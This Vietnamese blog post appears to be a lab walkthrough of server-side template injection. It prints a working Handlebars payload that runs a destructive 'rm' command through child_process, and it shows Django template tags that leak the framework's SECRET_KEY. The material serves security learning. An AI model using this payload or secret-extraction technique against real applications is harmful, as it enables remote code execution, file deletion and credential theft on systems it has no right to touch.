Penetration Testing Step 3 – Làm gì khi các đòn cơ bản với Server-Side Template Injection không có tác dụng?

Tiếp theo nội dung Penetration Testing Step 3 – Các đòn cơ bản với Server-Side Template Injection, kỳ này tôi sẽ giới thiệu tiếp 2 kịch bản tấn công với Server-Side Template Injection – SSTI để xử lý tình huống khi các đòn cơ bản không có tác dụng. Nội dung cụ thể bao gồm:

  • SSTI – Khai thác dựa vào documented exploit (tạm hiểu là các phương án khai thác đã được thử nghiệm thành công);
  • SSTI – Thu thập thông tin thông qua các object được đẩy vào template.

Lưu ý:

#1. Server-side template injection với documented exploit

Trong kỳ trước, khi triển SSTI – Khai thác documentation tôi đã dựa vào các vấn đề bảo mật đã được documentation của template liên quan dâng lên tận họng. Thực tế, nếu dò nát cái template documentation mà vẫn không ngộ ra được thứ gì hay ho, tôi sẽ cần mở rộng phạm vi tìm kiếm các nguồn khác để xem giang hồ đã có sáng tác được chiêu thức nào khai thác cái template engine mà tôi đang xem xét hay chưa. Nếu may mắn, tôi sẽ có thể tìm được documented exploit – tức là phương án khai thác đã được giang hồ thử nghiệm thành công. Tôi vào phần demo minh họa ngay đây.

Đầu tiên, tôi cũng sẽ cập truy cập vào xem chi tiết một sản phẩm trên ứng dụng (sản phẩm đầu tiên trong trường hợp này).

View details
View details

Lúc này tôi thấy cái message “Unfortunately this product is out of stock” dội về.

Message parameter
Message parameter

Tương tự như kỳ trước, cái Get request cũng sử dụng message parameter để render cái dòng thông báo trên ở trang chủ.

Request with message parameter
Request with message parameter

Để xác nhận, tôi có thể đẩy cái request này sang Burp Suite Repeater và quất cái message=test để check hàng thử như sau.

Test request with message parameter
Test request with message parameter

Rồi, giờ tôi chuyển qua múc với fuzz string tương ứng cho template syntax của các thể loại ngôn ngữ khác nhau (${{<%[%'”}}%\ như trường hợp bên dưới).

Request with error message
Request with error message

Dù không thể “chọt” đúng template syntax nhưng cái Internal Server Error cũng đã phọt ra cho tôi cái thông tin cần thiết là mục tiêu đang sử dụng Handlebars.

Error message
Error message

Tôi search thử với từ khóa “Handlebars server-side template injection” và hốt được cái thông tin tương ứng từ SSTI (Server Side Template Injection) – HackTricks. Tua nhanh đến chỗ liên quan đến Handlebars, tôi thó được nội dung cần thiết:

Handlebars SSTI
Handlebars SSTI

Sau khi hốt hàng về, tôi thay cái command ‘whoami’ sang ‘rm /home/carlos/morale.txt’ với ý đồ tiêu diệt file morale.txt của nạn nhân Carlos.

{{#with "s" as |string|}}

    {{#with "e"}}

        {{#with split as |conslist|}}

            {{this.pop}}

            {{this.push (lookup string.sub "constructor")}}

            {{this.pop}}

            {{#with string.split as |codelist|}}

                {{this.pop}}

                {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}

                {{this.pop}}

                {{#each conslist}}

                    {{#with (string.sub.apply 0 codelist)}}

                        {{this}}

                    {{/with}}

                {{/each}}

            {{/with}}

        {{/with}}

    {{/with}}

{{/with}}

Sau đó tôi chạy URL encode cái đống ở trên.

URL encode
URL encode

Rồi đút kết quả encode vô chỗ message parameter trên Burp Suite Repeater.

Exploit request
Exploit request

Và hết sức nhẹ nhàng, cái file morale.txt của nạn nhân Carlos đã bị tôi triệt hạ thông qua cái command rm.

#2. Server-side template injection để thu thập thông tin thông qua các object được đẩy vào template

Trong kịch bản này, giả sử tôi đã đào bới và thử nghiệm chán chê với template documentationdocumented exploit nhưng vẫn không có phương án tấn công trực diện với SSTI để hiện thực hóa ý đồ Remote Code Execution cũng như chiếm quyền điều khiển server. Lúc này, tôi có thể xem xét chuyển hướng khai thác thông tin với SSTI thông qua các object được đẩy vào template như kịch bản sau.

Đầu tiên, tôi truy cập vào mục tiêu với credential đã được cung cấp.

My account
My account

Sau đó tôi chọn xem chi tiết một sản phẩm và tiến hành Edit template.

Edit template
Edit template

Để test hàng, tôi thử tuồn vào cái fuzz string ví dụ như ${{<%[%'”}}%\ rồi chọn Save.

Save edit template
Save edit template

Lúc này mục tiêu phụt ra cái thông báo lỗi cho tối biết Django framework đang được sử dụng.

Error message
Error message

Như đề cập kỳ trước, tôi thử soi kèo Django documentation và ghi nhận thông tin thú vị từ cái debug (“… Outputs a whole load of debugging information, including the current context and imported modules. …”) với syntax kiểu {% debug %}.

Django debug
Django debug

Thử đút cái {% debug %} vào template và Save, tôi thấy ứng dụng phun ra danh sách các objectproperty mà tôi có thể truy cập, đặc biệt là cái settings object.

Django debug output
Django debug output

Tôi lại mò mẫm trong Settings | Django documentation | Django (djangoproject.com) và phát hiện một đối tượng tiềm năng là SECRET_KEY.

Django secret key
Django secret key

Dòng thông tin chỗ Warning hứa hẹn cho tôi một vụ mùa bội thu một khi túm được SECRET_KEY.

…Keep this value secret.

Running Django with a known SECRET_KEY defeats many of Django’s security protections, and can lead to privilege escalation and remote code execution vulnerabilities …

Tôi thử múc cái {{settings.SECRET_KEY}} vào template.

Django secret key output
Django secret key output

Và hô hô, cái SECRET_KEY giờ đây đã không còn là bí mật nữa. Dựa vào đây, tôi sẽ tha hồ tung hoành khi có thể đâm thủng các lớp bảo vệ, leo thang đặc quyền và triển Remote Code Execution trên hệ thống.

Đến đây tôi xin kết thúc nội dung demo của kỳ này. Kỳ tới tôi sẽ triển nốt nội dung còn lại trước khi bế mạc chương trình với SSTI.

1 thought on “Penetration Testing Step 3 – Làm gì khi các đòn cơ bản với Server-Side Template Injection không có tác dụng?”

Leave a Reply

Your email address will not be published. Required fields are marked *